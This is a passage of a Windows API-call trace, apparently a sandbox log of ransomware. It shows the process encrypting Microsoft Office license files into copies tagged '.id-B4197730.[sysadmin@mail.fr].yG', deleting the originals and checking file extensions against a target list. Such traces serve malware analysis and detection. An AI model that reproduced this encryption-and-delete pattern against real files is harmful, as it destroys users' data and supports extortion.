	[0163.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0163.808] GetLastError () returned 0x0
	[0163.808] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bd3, lpOverlapped=0x0) returned 1
	[0163.810] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2be0, lpOverlapped=0x0) returned 1
	[0163.812] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.812] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x128, lpOverlapped=0x0) returned 1
	[0163.812] SetEndOfFile (hFile=0x554) returned 1
	[0163.813] CloseHandle (hObject=0x554) returned 1
	[0163.813] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.813] SetEndOfFile (hFile=0x364) returned 1
	[0163.817] CloseHandle (hObject=0x364) returned 1
	[0163.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1
	[0163.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.821] lstrlenW (lpString=".doc") returned 4
	[0163.821] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.821] lstrlenW (lpString=".docx") returned 5
	[0163.821] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.821] lstrlenW (lpString=".pdf") returned 4
	[0163.821] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.821] lstrlenW (lpString=".xls") returned 4
	[0163.821] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.821] lstrlenW (lpString=".xlsx") returned 5
	[0163.821] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.821] lstrlenW (lpString=".ppt") returned 4
	[0163.821] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString=".zip") returned 4
	[0163.822] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString=".rar") returned 4
	[0163.822] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString=".bz2") returned 4
	[0163.822] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString=".7z") returned 3
	[0163.822] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString=".dbf") returned 4
	[0163.822] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString=".1cd") returned 4
	[0163.822] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString=".jpg") returned 4
	[0163.822] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.822] lstrlenW (lpString=".doc") returned 4
	[0163.822] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.822] lstrlenW (lpString=".docx") returned 5
	[0163.823] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.823] lstrlenW (lpString=".pdf") returned 4
	[0163.823] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString=".xls") returned 4
	[0163.823] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString=".xlsx") returned 5
	[0163.823] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.823] lstrlenW (lpString=".ppt") returned 4
	[0163.823] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.823] lstrlenW (lpString=".zip") returned 4
	[0163.823] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString=".rar") returned 4
	[0163.823] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString=".bz2") returned 4
	[0163.823] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.823] lstrlenW (lpString=".7z") returned 3
	[0163.823] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.823] lstrlenW (lpString=".dbf") returned 4
	[0163.824] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.824] lstrlenW (lpString=".1cd") returned 4
	[0163.824] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92
	[0163.824] lstrlenW (lpString=".jpg") returned 4
	[0163.824] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.824] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.824] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0163.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.825] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11674) returned 1
	[0163.825] CloseHandle (hObject=0x364) returned 1
	[0163.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0163.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.826] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.826] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0163.827] GetLastError () returned 0x0
	[0163.827] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0163.858] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0163.860] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.861] WriteFile (in: hFile=0x554, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x130, lpOverlapped=0x0) returned 1
	[0163.861] SetEndOfFile (hFile=0x554) returned 1
	[0163.861] CloseHandle (hObject=0x554) returned 1
	[0163.861] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.861] SetEndOfFile (hFile=0x364) returned 1
	[0163.990] CloseHandle (hObject=0x364) returned 1
	[0163.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0163.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0163.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.992] lstrlenW (lpString=".doc") returned 4
	[0163.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.992] lstrlenW (lpString=".docx") returned 5
	[0163.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.992] lstrlenW (lpString=".pdf") returned 4
	[0163.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.992] lstrlenW (lpString=".xls") returned 4
	[0163.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.992] lstrlenW (lpString=".xlsx") returned 5
	[0163.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.993] lstrlenW (lpString=".ppt") returned 4
	[0163.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.993] lstrlenW (lpString=".zip") returned 4
	[0163.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.993] lstrlenW (lpString=".rar") returned 4
	[0163.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.993] lstrlenW (lpString=".bz2") returned 4
	[0163.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.993] lstrlenW (lpString=".7z") returned 3
	[0163.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.993] lstrlenW (lpString=".dbf") returned 4
	[0163.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.993] lstrlenW (lpString=".1cd") returned 4
	[0163.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.994] lstrlenW (lpString=".jpg") returned 4
	[0163.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.994] lstrlenW (lpString=".doc") returned 4
	[0163.994] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString=".docx") returned 5
	[0163.994] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0163.994] lstrlenW (lpString=".pdf") returned 4
	[0163.994] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString=".xls") returned 4
	[0163.994] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString=".xlsx") returned 5
	[0163.994] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0163.994] lstrlenW (lpString=".ppt") returned 4
	[0163.994] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.994] lstrlenW (lpString=".zip") returned 4
	[0163.994] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0163.994] lstrlenW (lpString=".rar") returned 4
	[0163.995] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0163.995] lstrlenW (lpString=".bz2") returned 4
	[0163.995] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0163.995] lstrlenW (lpString=".7z") returned 3
	[0163.995] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0163.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.995] lstrlenW (lpString=".dbf") returned 4
	[0163.995] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0163.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.995] lstrlenW (lpString=".1cd") returned 4
	[0163.995] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0163.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0163.995] lstrlenW (lpString=".jpg") returned 4
	[0163.995] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0163.995] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0163.995] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37
	[0163.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.996] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=21977) returned 1
	[0163.996] CloseHandle (hObject=0x364) returned 1
	[0163.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220
	[0163.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0163.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0163.997] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.997] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0163.999] GetLastError () returned 0x0
	[0163.999] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x55d9, lpOverlapped=0x0) returned 1
	[0164.019] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x55e0, lpOverlapped=0x0) returned 1
	[0164.020] ReadFile (in: hFile=0x364, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.020] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0164.020] SetEndOfFile (hFile=0x538) returned 1
	[0164.020] CloseHandle (hObject=0x538) returned 1
	[0164.020] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.020] SetEndOfFile (hFile=0x364) returned 1
	[0164.023] CloseHandle (hObject=0x364) returned 1
	[0164.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1
	[0164.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.025] lstrlenW (lpString=".doc") returned 4
	[0164.025] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.025] lstrlenW (lpString=".docx") returned 5
	[0164.025] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.025] lstrlenW (lpString=".pdf") returned 4
	[0164.025] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.025] lstrlenW (lpString=".xls") returned 4
	[0164.025] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.025] lstrlenW (lpString=".xlsx") returned 5
	[0164.025] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.025] lstrlenW (lpString=".ppt") returned 4
	[0164.025] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.025] lstrlenW (lpString=".zip") returned 4
	[0164.025] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.025] lstrlenW (lpString=".rar") returned 4
	[0164.026] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString=".bz2") returned 4
	[0164.026] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString=".7z") returned 3
	[0164.026] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.026] lstrlenW (lpString=".dbf") returned 4
	[0164.026] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.026] lstrlenW (lpString=".1cd") returned 4
	[0164.026] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.026] lstrlenW (lpString=".jpg") returned 4
	[0164.026] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.026] lstrlenW (lpString=".doc") returned 4
	[0164.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString=".docx") returned 5
	[0164.026] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0164.026] lstrlenW (lpString=".pdf") returned 4
	[0164.026] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0164.026] lstrlenW (lpString=".xls") returned 4
	[0164.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString=".xlsx") returned 5
	[0164.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0164.027] lstrlenW (lpString=".ppt") returned 4
	[0164.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.027] lstrlenW (lpString=".zip") returned 4
	[0164.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString=".rar") returned 4
	[0164.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString=".bz2") returned 4
	[0164.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString=".7z") returned 3
	[0164.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0164.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.027] lstrlenW (lpString=".dbf") returned 4
	[0164.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.027] lstrlenW (lpString=".1cd") returned 4
	[0164.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0164.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87
	[0164.027] lstrlenW (lpString=".jpg") returned 4
	[0164.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0164.028] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0164.028] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40
